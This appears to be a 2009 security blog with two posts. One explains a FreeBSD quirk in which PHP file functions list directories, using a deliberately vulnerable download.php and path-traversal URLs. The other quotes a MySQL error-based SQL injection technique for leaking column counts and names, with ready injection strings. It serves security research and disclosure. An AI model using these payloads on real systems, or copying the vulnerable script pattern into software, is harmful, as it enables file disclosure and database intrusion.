FreeBSD directory listing with PHP file functions

November 28, 2009

Last week I shared a weird behavior of FreeBSD on sla.ckers.org about a directory listing with PHP file functions and Apache.

The following 3 PHP codes will output a garbled directory listing of the current directory:

echo file_get_contents("./");
$a=file("./");print_r($a);
readfile("./");

While those file functions should only return content of a valid file, its possible to get a directory listing under FreeBSD. So exploiting a vulnerable script like the following becomes far more easy for an attacker, because he does not have to know the names of the files he can retrieve.

download.php

<?php

$file = $_GET['file'];
echo file_get_contents("/var/www/files/".$file);

?>

#dirlist to see folders and files
download.php?file=../

#file disclosure of the found file “index.php”
download.php?file=../index.php

The directory listing only works for files in the webroot.

This behavior has been tested with the following configurations while PHP is running as root:
FreeBSD 6.4 + PHP 4.4.9 (thanks to beched)
FreeBSD 7.0 + PHP 5.2.5 + Suhosin-Patch 0.9.6.2
FreeBSD 7.0 + PHP 5.2.6 + Suhosin-Patch 0.9.6.2
FreeBSD 7.2 + PHP 5.2.10

I guess it has something to do with the weird BSD file system, but I dont know yet. At least this does not work on any other platforms like ubuntu or windows (I havent checked OpenBSD yet). If someone knows more about this strange dirlist please leave a comment =)

update:
As assumed this behavior relates to the unix file system (UFS) and should also work for NetBSD, OpenBSD and Solaris. Scipio wrote a script that will format the dirlist a bit more readable.

Advertisement

MySQL table and column names (update 2)

November 26, 2009

Yesterday Paic posted a new comment about another idea for retrieving column names under MySQL. He found a clever way to get column names through MySQL error messages based on a trick I posted on my first article about MySQL table and column names. Here I used the modular operation ‘1’%’0′ in an injection after a WHERE clause, to provoke a MySQL error containing the column name used in the WHERE clause. But for now I couldnt expand this to other columns not used in the WHERE clause. Paic found a cool way with “row subqueries”. He explains the scenario pretty well, so I will just quote his comment:

I’ve recently found an interesting way of retrieving more column’s name when information_schema table is not accessible. It assume you’ve already found some table’s name.
It is using the 1%0 trick and MySQL subqueries.

I was playing around with sql subqueries when I’ve found something very interesting: “Row Subqueries”

You’d better read this in order to understand what’s next:
http://dev.mysql.com/doc/refman/5.0/en/row-subqueries.html

The hint is “The row constructor and the row returned by the subquery must contain the same number of values.”

Ok, imagine you have the table USER_TABLE. You don’t have any other informations than the table’s name.
The sql query is expecting only one row as result.

Here is our input:
‘ AND (SELECT * FROM USER_TABLE) = (1)– –

MySQL answer:
“Operand should contain 7 column(s)”

MySQL told us that the table USER_TABLE has 7 columns! That’s great!

Now we can use the UNION and 1%0 to retrieve some column’s name:

The following query shouldn’t give you any error:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1)– –

Now let’s try with the first colum, simply add %0 to the first column in the UNION:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1)– –

MySQL answer:
“Column ‘usr_u_id’ cannot be null”

We’ve got the first column name: “usr_u_id”

Then we proceed with the other columns…

Example with the 4th column:
‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1)– –

if MySQL doesn’t reply with an error message, this is just because the column can be empty and you won’t be able to get it’s name!

So remember: this does only work if the column types have the parameter “NOT NULL” and if you know the table name. Additionally, this behavior has been fixed in MySQL 5.1.
Obviously it was a bug because the error message should only appear if you try to insert “nothing” in a column marked with “NOT NULL” instead of selecting. Btw other mathematical operations like “1/0” or just “null” does not work, at least I couldn’t find any other. For ‘1’%’0′ you can also use mod(‘1′,’0’).

Anyway, another possibility you have when you cant access information_schema or procedure analyse(). Nice 🙂

update:
you can find some more information here.

More:
update1